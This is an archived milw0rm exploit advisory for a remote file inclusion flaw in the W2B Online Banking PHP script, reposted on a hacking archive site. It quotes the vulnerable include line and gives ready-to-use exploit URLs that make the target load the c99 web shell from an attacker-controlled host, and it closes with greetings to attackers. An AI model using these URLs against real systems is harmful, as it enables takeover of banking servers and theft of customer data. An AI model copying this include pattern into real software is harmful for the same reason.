AOH :: HP Unsorted R :: BX2819.HTM

remote file include



remote file include
remote file include



#########################################################################
        W2B Online Banking Remote File Inclusion Vulnerability
#########################################################################


## AUTHOR: THuM4N
## Email : Win32.exe@w.cn

## Script : W2B Online Banking

## Site : http://www.w2b.ru

## Vulnerable CODE :
~~~~~~~~~~/index.php ~~~~~~~~~~~~~~~~~~~~~~
{
    include($_SESSION["ilang"]."/".$_REQUEST["page"].".htm");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


## EXPLOIT :
http://[HOST]/[Path]/index.php?ilang=http://yoursite.com/c99.txt?

 or

http://[HOST]/?ilang=http://yoursite.com/c99.txt?


## SPECIAL GREETZ : 2 All MUSLIM HACKERS.
## AND BIGUP 2 All Attackers Around The World .

#########################################################################
      W2B Online Banking Remote File Inclusion Vulnerability
#########################################################################

# milw0rm.com [2008-04-15]

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.